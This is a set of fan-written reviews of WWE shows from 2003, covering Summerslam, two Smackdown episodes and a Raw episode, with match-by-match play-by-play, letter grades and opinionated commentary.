Summerslam Count-Up – 2003: And So, HHH. Again.

Summerslam 2003
Date: August 24, 2003
Location: America West Arena, Phoenix, Arizona
Attendance: 16,113
Commentators: Jim Ross, Tazz, Michael Cole, Jerry Lawler

The US Marine Corps presents the American flag while Lillian sings the Star Spangled Banner.

The opening video talks about how there is evil in this world and the Chamber tonight will prove it.

Raw Tag Titles: Dudley Boyz vs. La Resistance

Coach says La Resistance was clever so Bubba accuses him of being anti-American and vows to get the belts back.

Undertaker vs. A-Train

A-Train starts pounding away on the ribs and sends them into the barricade for two back in the ring. Taker gets in some shots to the ribs of his own for a breather but A-Train comes back with an impressive suplex to take him down. This is the kind of character A-Train was perfect as: a heavy who could do some impressive moves at times. A-Train fights out of a sleeper with a belly to back suplex but Taker hits a quick Snake Eyes to get a breather. A big boot misses the big bald head and a double clothesline puts each other down.

Taker wins a slugout after A-Train hung in there a lot longer than expected. Now the big boot sets up the legdrop (BROTHER) for two and another legdrop to the back of the head with A-Train on the apron has the bald one staggered. The Last Ride is easily broken up but the referee is bumped.

A-Train hits the Derailer (chokebomb) but the delayed count only gets two. Taker accidentally clotheslines the referee down again (the second match does NOT warrant two ref bumps) and A-Train brings in a chair, only to have it cracked over his own head for a near fall. A-Train escapes a tombstone but gets caught in a chokeslam for the pin.

Rating: D. What are you expecting out of this match? This was back when Taker was pretty bad in the ring due to being completely unmotivated and bored with the biker character. Thankfully he would be the Dead Man again by Wrestlemania and would eventually reignite his career around 2007.

Post match Sable tries to seduce Taker for some reason but Stephanie comes in to go after her, presumably setting up a mixed tag.

Coach polls some fans on who wins the Chamber.

Shane McMahon vs. Eric Bischoff

Wrestlemania moment. Kind of an odd time for one of these but Shawn superkicking Bret was an awesome moment.

Flair and HHH tell Orton to keep the title on the Game tonight and nothing more.

US Title: Eddie Guerrero vs. Chris Benoit vs. Tajiri vs. Rhyno

Eddie is defending and this is one fall to a finish. Eddie has ticked off all three challengers so they all want to take him out. The champion bails to the floor so everyone else can fight and we quickly get down to Rhyno vs. Benoit. Chris hooks a quick Crossface, drawing Eddie in for the save. Tajiri is back in as well but Eddie breaks up a cover. Everyone is in now and all three challengers go after Eddie at the same time.

Tajiri makes the ropes so Eddie turns around to dropkick Benoit in the head for the save. Benoit grabs the Crossface on Guerrero but Rhyno and Tajiri make the double save. Rhyno hits a spinebuster for two on Tajiri but Benoit knocks Rhyno to the floor. Chris rolls some Germans on Tajiri but Tajiri reverses into one of his own for two on Benoit.

Smackdown World Title: Brock Lesnar vs. Kurt Angle

Lesnar picks up the belt and tries to walk out with it but Kurt pounds him down in the aisle to start the brawling. Back in and Angle snaps off the first overhead belly to belly for two before stomping him down in the corner. Brock comes right back with a gorilla press and throws Angle out to the floor. Angle is sent into the steps as this is far different from the Wrestlemania match. Back in and Brock hits a release belly to belly without leaving his feet.

Some Arizona Diamondbacks are here.

Kane vs. Rob Van Dam

RVD kicks out of the chokeslam but gets knocked out to the floor as the brawl continues. Kane sends him into the steps and is in full on monster mode. Back in and Van Dam scores with a kick and some shoulders to the ribs for two. Rob goes up top but gets shoved down onto the barricade to give Kane control again. A ladder to the face gets two back in the ring and a big clothesline puts Van Dam down again.

We hit the slow motion part of the match as Kane pounds on Van Dam very slowly to stop the crowd from being interested. Van Dam is backdropped to the floor but Kane badly botches the top rope clothesline, nearly falling on his head and dying. Kane avoids another ladder shot and DDTs Van Dam on he floor, only to have Rob catch a charging Kane in a drop toehold to send him face first into the steps. Kane is kicked into the crowd and crotched as he tries to come back to ringside.

Eric is annoyed that Terri is asking him questions. Linda comes in and slaps Bischoff in the face.

HHH looks at the world title.

The Chamber is lowered.

Raw World Title: HHH vs. Kevin Nash vs. Goldberg vs. Chris Jericho vs. Shawn Michaels vs. Randy Orton

Flair shoves the pod door closed to save HHH so Goldberg kicks the pod door in so we can actually have a match. Goldberg pounds away in the pod before sending HHH face first into the cage. The champion is busted open but he FINALLY gets in a kick to the leg and sends Goldberg into the cage. Goldberg comes right back with a clothesline and they head into the ring. The spear is loaded up but hits the sledgehammer that Flair slid in, keeping the title on HHH.

Post match HHH and Evolution gets to destroy Goldberg again with the hammer to really pound in who is the star. Goldberg is handcuffed to the cage so HHH can shove the belt in his face and remind him who the champion is to end the show.

Ratings Comparison

La Resistance vs. Dudley Boyz

Original: C

Redo: D+

A-Train vs. Undertaker

Original: D

Redo: D

Eric Bischoff vs. Shane McMahon

Original: D

Redo: N/A

Tajiri vs. Rhyno vs. Eddie Guerrero vs. Chris Benoit

Original: B-

Redo: B+

Brock Lesnar vs. Kurt Angle

Original: A-

Redo: B

Rob Van Dam vs. Kane

Original: C-

Redo: C-

Goldberg vs. HHH vs. Kevin Nash vs. Shawn Michaels vs. Chris Jericho vs. Randy Orton

Original: D

Redo: C-

Overall Rating

Original: D+

Redo: C

So I liked almost all of the matches more or the same the first time, but the overall rating is much higher this time. Not surprising.

http://kbwrestlingreviews.com/2011/08/06/history-of-summerslam-count-up-2003-brock-vs-angle-ii/

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Smackdown – March 6, 2003: Say That Again Hulk?

Smackdown
Date: March 6, 2003
Location: Harbor Yard Arena, Bridgeport, Connecticut
Commentators: Michael Cole, Tazz

We’ve reached Wrestlemania month and it’s time for some payback as we have Brock Lesnar vs. Paul Heyman inside a steel cage. The hard sell for the pay per view has become but Kurt Angle’s neck isn’t even being held together by gum and duct tape anymore. It should be interesting to see how the company deals with that as Wrestlemania is less than a month away. Let’s get to it.

Opening sequence.

Rey Mysterio vs. Jamie Noble vs. Tajiri

Winner gets the Cruiserweight Title shot at Wrestlemania. Only Rey gets an entrance and he’s tossed to the floor to start, leaving the other two to slug it out. Rey comes back in with a springboard seated senton for two on Noble but Tajiri starts in with the kicks to take over. A spinning springboard crossbody gets two more on Tajiri but it’s a handspring elbow to drop Noble.

Mysterio gets sent outside so Noble can grab a Fujiwara armbar on Tajiri. That means a rope grab for a quick break as Rey comes back as well. A three man Tower of Doom (not yet named that of course) drops Mysterio and all three are down. Noble gets two on both of them and a powerslam on Tajiri gets the same.

Tajiri is right back up with the Buzzsaw Kick for two as Rey makes the save. Rey drops the dime on Tajiri for two and there’s the 619 to Noble. It’s too early for the West Coast Pop though as Tajiri BLASTS Rey with a kick to the head, only to have Rey roll him up for the pin and the title shot.

Rating: C+. Fun match here and the shorter time worked well for it. This isn’t something that needed to be stretched out to ten or more minutes so keeping things fast paced and tight was the best thing they could have done. Mysterio getting the title shot was the only way to go here as him winning the title is going to be a big deal.

Los Guerreros vs. FBI

Palumbo and Stamboli for the Italians here. Cole gets straight to the bad news: Rikishi is on a PR tour tonight and won’t be here. There go the ratings. Chavo and Palumbo get things going with the bigger Chuck driving him into the corner, only to get slapped in the face. It’s off to Eddie for a few kicks to the head, including a dropkick to a charging Stamboli. Palumbo gets in a cheap (and mistimed) right hand from the floor though and the Italians take over.

A good looking Samoan drop plants Eddie again as the FBI aren’t bad for a power team. Generic mind you but not bad. We hit the bearhug on Eddie for a bit until a hurricanrana gets him out of trouble. The hot tag brings in Chavo to start cleaning house as everything breaks down. Eddie and Palumbo fall out to the floor and Chavo brings Nunzio in. Stamboli hits a quick fall away slam but Eddie comes in with a frog splash to Johnny’s head, giving Chavo the easy pin.

Rating: C-. I know I said the FBI were fine, but is this really the best we can do for Los Guerreros? Most of the division has been taken apart and the best we can do is have one of the best teams face the FBI? It’s a watchable match but this really wasn’t interesting and that’s not what should be happening with one of your best acts.

Heyman is panicking but his clients (all five of them) say they’ve got his back. Angle implies he can sweet talk Stephanie out of the match.

Wrestlemania is 24 days away. That still makes me smile even when the video is fourteen years old.

Heyman and Angle try to talk their way out of the match with Paul diving at her knees and begging. It doesn’t work so Heyman leaves Angle to hit on Stephanie. This goes badly as well as Stephanie makes things a little worse: if Brock wins, he gets Angle next week for the title. So to clarify, Stephanie is currently a bastion of all things good and wholesome who can shout about having integrity. Just in case you thought she was bad at being a face or something, because Stephanie isn’t bad at anything.

Cruiserweight Title: Matt Hardy vs. Billy Kidman

Matt, who enjoys looking at pictures in Playboy and considers himself a sex symbol, is defending. The champ tries a rollup before the bell and has to wait for a one count. Kidman gets sent over the top so Shannon can get in a few cheap shots and we hit a bow and arrow back inside.

An enziguri gets Kidman out of trouble and he kicks Matt out of the corner and onto the top rope for a good crotching. Kidman hits his own screaming legdrop for two and a Bodog looks to set up the shooting star. Thankfully Shannon is right there to pull Matt outside so Kidman dives onto both of them. Back in and a Side Effect and the Twist of Fate retain the title.

Rating: C. Kidman was trying here but it’s clear that his time near the title is gone. Matt has instantly become a far more interesting character because he actually has some charisma and more than a good match with a cool finisher. Hardy vs. Mysterio should be a good pay per view match, especially if Shannon is running around like a good annoying lackey.

Package on Torrie Wilson’s Playboy shoot. The cover will be unveiled next week.

Nidia went to the Playboy Mansion to complain about not being in the magazine and got in some Girls Gone Wild plugs.

Hulk Hogan sends a referee to tell Vince that he’s going to the ring.

Here’s Hogan to start the real push towards his match with Vince. He’s got something to get off his chest: sure he could just leave this place for good and be done with Vince, but the boss has gotten under his skin. There’s an issue with them and it goes way deeper than him costing Hogan a match with Rock. Hogan wants Vince out here right now to settle this like men.

This brings out the boss to say he has no problem settling this man to man but Hogan is no man. Hogan cuts him off and rants about all of Vince’s delusions of grandeur about creating Hulkamania. These Hulkamaniacs are the reason for Hulkamania and the reason that Vince has all of his money. Vince says that anyone could have been Hogan so Hulk asks about all the people that Vince tried to push as the star with none of them running as hard as he did.

In a pretty infamous moment (which I’d assume never made air and can only be found online), Hogan starts flubbing his lines, including pausing to say “let me say it one more time just so you completely understand.” Hogan says he was also the right “gay” at the right time before stumbling over a challenge to fight Vince tonight. Vince looking like he’s having to bite through his lip to keep from laughing doesn’t help things either.

Vince says there’s no chance of a fight tonight but let’s talk about Hogan bailing to WCW and the steroids trial as this is somehow still going. Hulk says he kept Vince out of jail and implies that there would have been a lot of activity in the shower if Vince was still there. This somehow KEEPS GOING with Vince taking credit for plucking Hogan from obscurity in Minnesota.

Vince finally agrees to fight Hogan at Wrestlemania to give us what they probably saw as the real main event. For a bonus, Hogan’s career is on the line and Hulk immediately agrees. They cut each other off over trying to use Hogan’s catchphrases until Hogan tells Vince to start saying his prayers to FINALLY wrap this up.

This was WAY too long at nearly fifteen minutes (if you take out the flubbed lines) and with a lot of stuff that most fans don’t care about at all, mainly because they were about ten years ago. Doing Hogan vs. Vince at Wrestlemania over who is the bigger star is fine enough, but you really don’t need to drag up WCW (again) or the steroids trial as it’s just extra baggage on an already easy to write feud.

Undertaker coached Nathan Jones in the ring earlier today, which translates to he watched him hiptoss some jobbers. The big advice: the ring is like a prison cell. Next up: headlocks and a shoulder block, though Undertaker gets mad when Jones doesn’t show enough power to knock someone out. Nathan kicks the jobber’s head off and Undertaker has to calm him down.

A-Train vs. Undertaker

Big Show and Jones are the seconds. They trade big shots to start until Big Show offers a distraction to get Undertaker outside. The distraction lets A-Train grab a powerslam for two and he throws him outside for another beating from Big Show. Jones, apparently done shopping for fruit, FINALLY comes over to stare Show off so A-Train can stomp away even more. Undertaker gets in a few shots of his own and it’s time for Old School. The Derailer connects but Undertaker grabs his triangle choke, only to draw in Big Show (with his very white shoes). Jones comes in as well and the match is thrown out.

Rating: D-. I know what they’re setting up for Wrestlemania and Jones has a great look but this is hardly the most interesting thing in the world. It’s better than Undertaker vs. Big Show though and I’m not sure I could handle Undertaker vs. A-Train at Wrestlemania so this might actually be the best possible option if we just have to continue this feud.

Clip of Heyman turning on Lesnar at Survivor Series.

During the break, Stephanie ejected A-Train and Big Show and will NOT take any lip from Big Show.

Rhyno/Chris Benoit vs. Team Angle

Non-title. Benoit takes Shelton down by the leg to start and they hit the mat for some grappling. Shelton can’t get out of a hammerlock so it’s off to Rhyno, who catches Charlie in a drop toehold. Charlie gets Benoit into the wrong corner so it’s off to Shelton, who needs a blind tag to escape a Crossface attempt. A powerslam goes a bit better for Haas but Benoit drops him with a clothesline to set up a double tag.

Rhyno gets to clean house for a bit but Charlie breaks up a Gore. A superkick from Shelton sets up a chinlock and we take a break (How often do you see one of those as we go to a commercial?). Back with Shelton getting in a shot to Rhyno’s neck for two and Charlie wraps his leg around Rhyno’s neck and pulls on the arm (basically sitting on Rhyno’s neck).

Benjamin opts for a standard cravate before handing it off to Charlie for some choking on the ropes. Rhyno finally gets in a spinebuster for a breather and the hot tag brings in Benoit. Shelton gets sent into the post and Benoit rolls the German suplex on Charlie, setting up the Swan Dive for two. The Crossface is countered and it’s off to the Haas of Pain until Rhyno makes a save. The Gore takes Shelton down and the Crossface ends Haas.

Rating: C+. The ending was good but the middle was a bit dry for my tastes. The biggest problem here is the continued losing streak for the champs, who haven’t won a match, even a handicap match, since winning the titles. Just having the belts isn’t going to carry them forever and while their matches are good, they need to be impressive and dominant wrestlers instead of just lackeys in similar tights.

Cena is back on his feet, albeit using a cane, and promises to unleash the beast on Brock. He’s so intense that he’s going to fill Brock full of holes like a chain link fence.

Kurt Angle is giving Heyman a pep talk when Team Angle comes in to yell at them for not being there. Angle calms them down and tells Heyman to go do it.

Video on the South Africa tour.

Paul Heyman vs. Brock Lesnar

Inside a cage and if Lesnar wins, he gets Angle for the title next week. Kurt and Team Angle come to the ring with Heyman, who is going to be wrestling in a suit. Lesnar easily dispatches Haas and Benjamin and beats up Kurt with even less effort (drawing some blood), allowing him to throw Paul inside for the opening bell.

Brock gets in a few shots until Kurt comes in and takes out the knee. There’s an Angle Slam to give Heyman two and it’s off to the ankle lock. Heyman still can’t escape as Brock holds him down while still in the hold. Kurt gets sent into the cage but Brock pulls Heyman off the top. The F5 easily finishes Paul.

Rating: D. This might be the best example I’ve ever seen of angle advancement disguised as a match. The wrestling here meant nothing of course but setting up Lesnar vs. Angle next week makes sense, even if Angle is in no shape to wrestle whatsoever. At least they’re setting up something in advance, which is more than they usually pull off.

Lesnar stares Angle down to end the show.

Overall Rating: D+. The wrestling was watchable with the worst matches both being under five minutes but that Hogan vs. Vince segment really brought things down. Wrestlemania really isn’t shaping up very well as the TV shows are getting worse every week. I’m assuming Edge and Angle being hurt really screwed things up but it’s still not looking good as we head for Seattle.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

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Smackdown – February 27, 2003: Go Stephanie Go

Smackdown
Date: February 27, 2003
Location: Labatt Centre, London, Ontario, Canada
Commentators: Michael Cole, Tazz

We’re officially on the road to Wrestlemania and that means it’s time to turn things up a lot. Thankfully the main event of Kurt Angle vs. Brock Lesnar for the title is already set, but unfortunately there’s that whole broken neck thing that Angle has going on (again). Edge is having similar issues as well and hopefully that’s the end of the injury bug issues. Let’s get to it.

Opening sequence.

Here’s Vince to open us up and he’s got some good and bad news for us. First the bad news: Rock won’t be here tonight because he’s permanently on Raw. As for the good, Hulk Hogan won’t be here either due to a “family emergency”. Something about his son. Anyway, Hogan has written his own burial by challenging Vince to a match because he has no idea what he’s in for. Vince walks us through Sunday’s match and promises to show us what happened on Sunday later tonight. He declares that MCMAHONAMANIA is running wild (like that’s a new thing) and struts out as only he can.

Funaki/Torrie Wilson vs. Jamie Noble/Nidia

Thankfully the men start as we hear more speculation about one of the women being in Playboy. Jamie gets sent into the corner but comes out with a neckbreaker. It’s off to Nidia for some stomping before it’s right back to Noble. Funaki gets fired up and pulls Nidia back in before sending them into each other.

A double clothesline drops both of them though as Tazz calls Nidia feisty. Nidia misses a top rope splash and it’s off to Torrie for what is totally not a canned pop. She slaps Noble and gets shoved down for her efforts, earning Noble a baseball slide from Funaki. Cue Dawn Marie for a failed distraction, allowing Torrie to grab a rollup for the pin.

Rating: D. Standard horrible women’s action here but at least Funaki and Jamie were in there for the most part. Torrie is getting the push for the sake of Playboy and while I get that, is there any better way than having her wrestle? At least they kept it short, which is rarely a good thing to hear.

Post match Stephanie comes out to say that SHE has negotiated the Playboy deal with Torrie getting the spot. Torrie is VERY happy about this and looks like she just won the Women’s Title. So in other words, she’s thankful that Stephanie is allowing her to be in the magazine and it’s pretty much nothing that Torrie has accomplished.

During the break, Torrie thanked Stephanie again and plugs Girls Gone Wild. Brian Kendrick came up and introduced himself to Stephanie (Stephanie: “Naked boy.”) with an idea: he’ll wrestle Kurt Angle tonight. Stephanie agrees, saying if he can last five minutes he gets a job.

Nunzio vs. Eddie Guerrero

The team is officially the FBI with Tazz saying he’s heard the name before. Eddie runs him over with a shoulder to start and somewhat botches a backflip over Nunzio’s back. Nunzio leverages him into the corner and stomps away with Chuck Palumbo adding a trip from the floor. A knee to the head gets two but Eddie gets in a tilt-a-whirl backbreaker for a breather. Eddie’s belly to belly gets two but he has to roll through the frog splash. Instead it’s a small package with Eddie allegedly grabbing the trunks (it looked like he was just touching them) for the pin.

Rating: C-. Nunzio is way too talented for something as stupid as this version of the FBI. Speaking of which, why is Eddie stuck in this match instead of fighting for a title of some kind? Ah yes, because WE CAN’T HAVE A MIDCARD TITLE FOR HIM TO FIGHT FOR because whatever Raw does, Smackdown has to do too and we wouldn’t want HHH to have any contenders to his throne.

The FBI comes in for the beatdown but Rikishi (of course) comes out for the save.

Cole again hypes the world premiere of the screwing of Hulk Hogan. That might cost them a $120 million lawsuit.

Paul Heyman comes in to see Stephanie, who has a stipulation for tonight’s main event. If Lesnar can defeat Team Angle tonight, he gets any member of the team next week in a cage match. Heyman: “I don’t like that.” Paul knows he’ll pick Kurt and that’s not fair five weeks out of Wrestlemania. Heyman leaves and Stephanie gives a pretty weird looking smile.

We look at Edge being laid out at No Way Out. He’ll be gone for about a year.

Benoit tells Lesnar to take out Team Angle in revenge for what happened to Edge. Lesnar says he’ll win but thinks Benoit should be worried. Don’t worry because Benoit has his own friends. That friend is in his dressing room. Brock: “What’s up?”

Wrestlemania ad, which I believe marks the debut of Crack Addict on WWE TV. I always wondered why they never said the name of the song on the shows.

Matt Hardy/Shannon Moore vs. Chris Benoit/???

Shannon and Matt, whose pants are a size 34 in the waist and who thinks sweet potatoes are delicious, have to deal with the returning Rhyno as Benoit’s partner. Rhyno mauls Shannon to start and hands it off to Benoit for a hard clothesline and a suplex. Matt comes in and doesn’t get beaten up as badly, instead taking Benoit down and dropping a leg for two.

As always (including how it would be in his modern run), the fans are WAY into Rhyno as Benoit fights out of a chinlock. Poetry in Motion doesn’t work and the hot tag brings in Rhyno to clean house. The spinebuster gets two on Matt and a suplex rocks Moore. Rhyno Gores Matt for the pin.

Rating: D+. And that’s a good example of why this company gets so many head shakes. Was there ANY reason to not have Shannon eat the pin here instead of the new Cruiserweight Champion? If nothing else Shannon was probably going to take a better bump when Rhyno Gored him, but instead we got Matt taking the pin. Of course we did.

Clip of Nathan Jones’ interview last week. He’s really intense.

Here’s Undertaker for a chat. He didn’t care for A-Train attacking him on Sunday and says it’s time for some consequences. This brings out A-Train, complete with new agent Paul Heyman. Paul calls the triangle choke that Undertaker used illegal and brings out Big Show for the two on one beatdown. Nathan Jones makes the save and I think we have a tag match coming up.

The injured John Cena is on his laptop and promises to make Brock Lesnar’s hard drive crash because he’s a virus. Everyone knows he’s the next big thing and Brock is the great white hype. “Your finish is the F5. Well mine’s the FU.” And so it begins.

We see the Kendrick and Stephanie segment for no other reason than to show Stephanie (and her low cut top) again.

Kurt Angle vs. Brian Kendrick

Non-title with Kendrick having to tell Tony Chimmel his stats. If Kendrick lasts five minutes, he gets a job. Angle gets down in an amateur position and lets Brian take his best shot. The look on Angle’s face (nearing boredom) says it all as he rides Brian on the mat. Now he gets on his knees and puts his hands behind his back so Kendrick kicks him in the jaw. Some forearms have Angle in trouble but it’s a belly to belly to cut that off in a hurry.

We’re under three minutes to go and a right hand knocks Brian over the top and out to the floor. Back in and the ankle lock is slapped on but released just as quickly. Two minutes left and Kurt picks him up for the Angle Slam, only to drop him back down. An elbow to the face annoys Angle even more but a facebuster gives Kendrick a pretty hot near fall. Angle misses a charge into the post with a minute left but the yet to be named Sliced Bread #2 is broken up. One heck of a clothesline drops Kendrick but he fires off forearms with fifteen seconds left. The Angle Slam gives Kurt the pin with two seconds left on the clock.

Rating: C+. They tried here and it was working very well for what they wanted to do. Angle finishing via pin was the right idea too as having Brian tap would have defeated a lot of the purpose of this. Kendrick has heart but he looks like he’s about fifteen years old and there’s not much of a way around that.

Post match Angle says Team Angle had nothing to do with Edge’s attack. As for Brian, he has guts, though he’s not going to make it in this business. Angle tells the fans to give him a hand and then beats him down again, including an F5 with a shout out to Brock.

Here’s Sylvan Grenier to be obnoxious and introduce clips from No Way Out. By that I mean the last six and a half minutes of the pay per view with nothing new added. It’s the Hulk Up and comeback with the ref bump, Vince’s interference, Rock winning and Vince mocking Hogan.

We get an exclusive clip from after the show, which is just Hogan yelling at Stephanie about wanting to beat Vince up.

Next week: Hogan is here and Undertaker vs. Big Show.

Heyman gives Team Angle a pep talk as only he can.

Brock Lesnar vs. Team Angle

Handicap match and if Brock wins, he gets a cage match with any member of Team Angle next week. Haas starts for the team and gets launched into the corner. Brock does it a second time and drives some shoulders into his ribs. Shelton comes in and takes an overhead belly to belly as this is one sided so far.

Some double teaming finally slows Brock down and sends him to the floor, allowing Heyman to stomp away a bit. Angle offers some cheating as well and it’s Haas having to make a fast save. Lesnar gets posted for good measure as the numbers game is really starting to take effect. A belly to back suplex gives Charlie two and it’s off to a rear naked choke.

That’s fine with Brock who climbs to the middle rope and drops backwards for the break. Shelton comes in for the superkick into the German suplex and a near fall but Brock has had it. Team Angle is thrown all over the ring with Charlie being knocked to the floor. The F5 ends Benjamin without too much effort.

Rating: C-. Is there really nothing else they can do besides having the Tag Team Champions lose in handicap matches? Those are two big matches in a row where they’ve lost when they have an advantage and it’s not doing the once incredibly valuable titles very much good. The match wasn’t anything to see either as there wasn’t much of a secret about Lesnar winning.

Post match Lesnar goes after Heyman but Angle saves him from the F5. Lesnar grabs the mic and says that he wants Heyman in the cage next week. Angle’s grin of relief and Heyman’s life flashing before his eyes end the show.

Overall Rating: D+. They were flying through stuff tonight and there wasn’t much to get excited about. The show wasn’t bad but they’re really lacking that must see aspect. The fact that the No Way Out footage was longer than almost all of the matches on the show didn’t do it a lot of good either. Not a terrible show but nothing I’m going to remember in a few hours.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


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Monday Night Raw – February 24, 2003 (2017 Redo): You Can Still Smell the Greatness

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Date: February 24, 2003
Location: Air Canada Centre, Toronto, Ontario, Canada
Attendance: 10,000
Commentators: Jim Ross, Jerry Lawler

It’s the night after No Way Out and that means it’s time to start things shifting towards Wrestlemania. HHH defeated Scott Steiner last night to end their feud (thank goodness) and now he needs a new challenge for the titles. Other than that we have Steve Austin back tonight and it should be interesting to see how he holds up as a full time guy instead of someone just back for a stand alone appearance. Let’s get to it.

Opening sequence.

Here’s a very banged up Eric Bischoff to say he’s still standing even after Austin beat him up last night. As for tonight though, Austin is banned from the building, meaning he’ll miss tonight’s 20 man battle royal to crown a new #1 contender. Austin will be dealt with next week though when Bischoff has a special welcoming committee waiting on him. Even though Austin isn’t here tonight, Bischoff has a special surprise: THE ROCK! It must be Wrestlemania season if they’re ignoring the exclusive roster statuses like that.

Rock isn’t pleased with the mixed reaction and says that he’s FINALLY come back “Toron…..Toron…..to run his mouth all over” these people. Rock advises us to not boo until you hear what he has to say. Last night he did Vince a favor by taking care of Hogan, in return for being able to go wherever he wanted. Rock wanted to go to Raw in Toronto, Canada. The fans cheer of course so Rock rips them apart for cheering over something so stupid. Rock: “YAY! HE SAID TORONTO! THAT’S WHERE WE LIVE! SHUT UP!”

He wanted to come to Toronto because it’s where the people turned on the People’s Champion. Last year at Wrestlemania, 68,000 of you mother Canuckers booed the Rock out of the building. That strikes up a Hogan chant so Rock has to slowly explain that this isn’t Smackdown. Rock wasn’t about to forget last year, if that’s what these people think. Then again, it doesn’t matter what they think.

Then at the Raw Tenth Anniversary, they gave the Superstar of the Decade Award to Steve Austin. There’s only one Superstar of the Decade and hes “stronger than a bear, faster than a buck, the biggest thing to hit Canada cause the MAPLE LEAFS SUCK!” The fans get in whatever insults they can and Rock is just basking in the hatred.

He’s even going to enter the battle royal tonight and go on to Wrestlemania. Rock loads up IF YA SMELL but cuts them off in a rather deep voice. Rock: “YOU CAN’T SING ALONG WITH THE ROCK! NO! NO! NO MORE!” The Rock and the Rock alone gets to say IS COOKIN to wrap up one of the most amazing heel performances you’ll ever see.

This was nothing short of outstanding with Rock completely destroying the entire arena in the span of ten minutes. He took some of the simplest ideas that makes a face promo work and turned them around on the fans with the MAPLE LEAFS SUCK clearly cutting them deeply. Rock came into this with complete confidence and sold every word of it to the point where he was suddenly the biggest heel in years. Watch this if you haven’t seen it and take notes.

Jazz vs. Jacqueline

Victoria and Steven Richards are on commentary. They slug it out to start and head outside with Jackie taking over as Lawler is confused by Jackie’s chest tattoo. Back in and Jazz gets two off some clotheslines and loads up a powerbomb. I’m not completely sure what happens next though as I think Jazz tried to drop her backwards and face first onto the mat but Jackie might have tried to reverse into a sunset flip, leaving her to just drop off to the side in what looked like a botch. Jazz takes her down by the leg and puts on the half crab into the STF for the tap.

Post match the lights go out and Trish makes her return to beat Jazz up. She was gone in the first place? Victoria tries to interfere and gets kicked in the face.

We see Test arriving at a Girls Gone Wild shoot. For some reason JR didn’t know what GGW was despite the Girls Gone Wild boss showing up on Smackdown. Test goes to a club to pick the finalists for Miss Girls Gone Wild and shows off that awesome charisma (or he might just be really drunk).

Test and Maven are watching the clip with Test saying it makes up for all the stupid stuff Stacy has done. Apparently she didn’t know what GGW was and isn’t happy about it. Cue Stacy to accuse him of doing a few things he shouldn’t have been doing. Chief Morely comes in and makes Test/Stacy vs. Chris Jericho/Christian.

We recap Goldust being electrocuted.

Kane vs. Lance Storm

Storm jumps on Kane’s back for a choke and is quickly clotheslined out to the floor. Back in and a big boot sets up an elbow drop for no cover as this is one sided for Kane so far. Kane charges into a boot in the corner and eats a middle rope missile dropkick for two. Back to back chokeslams end Storm in a hurry.

Randy Orton’s shoulder is healthy (99% at least) and he’s back in the ring tonight.

Randy Orton/Batista vs. Booker T./Scott Steiner

Booker chops at Orton and forearms him down, only to have Flair trip Booker up to take over. Steiner chases Flair away but Batista comes in to work over Booker. Flair holds Booker in the corner so Orton can hammer away, only to have Booker fire off the kicks to get a breather. A Flair distraction lets some double teaming bring Booker back into the corner though and we hit the bearhug.

Orton grabs a chinlock, only to have Booker fight up and hit the ax kick (Not the Spinarooni JR. That’s bad even for him.). More double teaming keeps Booker in trouble so Steiner finally comes in without a tag and cleans house. Flair gets caught in the Recliner but Batista makes the save and spears Booker down. Orton adds the high crossbody but Booker rolls through for the pin.

Rating: D. Not a very good match but the really telling part here is the fact that Steiner never actually tagged in. The night before he was wrestling on pay per view for a World Title and he couldn’t even get into a tag match here. You can tell they’ve completely pulled the plug on him and I’m actually surprised they even let him stand on the apron instead of swapping in ANYONE else, or just making this a singles match.

We recap Rock entering the battle royal. As in we show a fifteen second clip of it.

Chris Jericho/Christian vs. Stacy Keibler/Test

Stacy is in a cutoff Maple Leafs jersey and little white shorts so the sympathy is really turned up. Test leaves her on the ramp (Why not leave her in a hotel somewhere?) and charges in but Stacy gets on the apron anyway. Jericho pulls her down to send her face first into the apron and the double teaming begins. Chris grabs a chair and blasts Test for the DQ in less than 80 seconds.

With Test down, Jericho handcuffs him to the ropes and puts Stacy in the Walls. Jeff Hardy tries to make a save but gets beaten down, leaving Shawn Michaels to make the real save. Christian really didn’t need to be there at all, save for making the odds a bit stronger. The silence for most of the beatdown segment was rather telling to put it mildly.

Post break Jeff is still in the ring when Christopher Nowinski comes out to call him a failure. Those are wrestling words.

Jeff Hardy vs. Christopher Nowinski

Jeff hits him and drops the Swanton for the pin at 13 seconds. Actually hang on as Jeff beats on Nowinski post match, drawing a reversal of decision.

Van Dam and Kane are ready for the battle royal but don’t agree on who should win after they get rid of Rock.

Speaking of Rock, he’s in a somewhat cramped dressing room and tells someone on the phone that Austin can come see him next week. Rock gets off the phone and grabs his guitar but cue Hurricane of all people. Hurricane chastises him for ripping on the people and wants to know whatsupwithdat. Rock wants to know who he is but realizes that it’s the Hamburgler.

He’s not impressed though because any superhero could beat Hurricane, even Aquaman. Rock: “Yeah the dude that talks to the fish.” Hurricane knows he could beat the Scorpion King though. ROck: “OH NO YOU…..!” Hurricane asks if Rock can fly and promises to make him fly over the top rope tonight. He leaves but Rock insists that losing to Brendan Fraser was just a special effect. Good stuff here as Rock clearly has no issue working with people way beneath him, which so many people can’t say.

Jerry Lawler vs. Chief Morely

No DQ so just get the interference ready now. Morely hammers away to start as JR points out how much experience Lawler has. Lawler gets in a clothesline and knocks Morely outside as the YOU SCREWED BRET chants start up. Back in and Morely grabs a spinebuster to set up the Money Shot for no cover. Instead he goes for a chair but Hebner kicks it out of the ring for no apparent reason. Cue the Dudleys for a 3D and Lawler drops the middle rope fist for the pin.

Rating: D-. This is the second match of the night that made it to five minutes and they certainly didn’t make use of the time. I have no idea what the point is in having the announcers fighting Bischoff’s lackey but it’s getting really annoying in a hurry. Lawler can work a brawl just fine but couldn’t this be used for ANYONE else who could use a rub? Lawler is a legend and won’t be wrestling full time so who does this really help?

Evolution is ready for the battle royal and Orton wants Booker T.

Battle Royal

Chris Jericho, Al Snow, Booker T., Batista, Christian, Jamal, Rosey, Jeff Hardy, Kane, Lance Storm, Maven, Randy Orton, Rob Van Dam Rodney Mack, Scott Steiner, Steven Richards, Test, Hurricane, Tommy Dreamer, The Rock

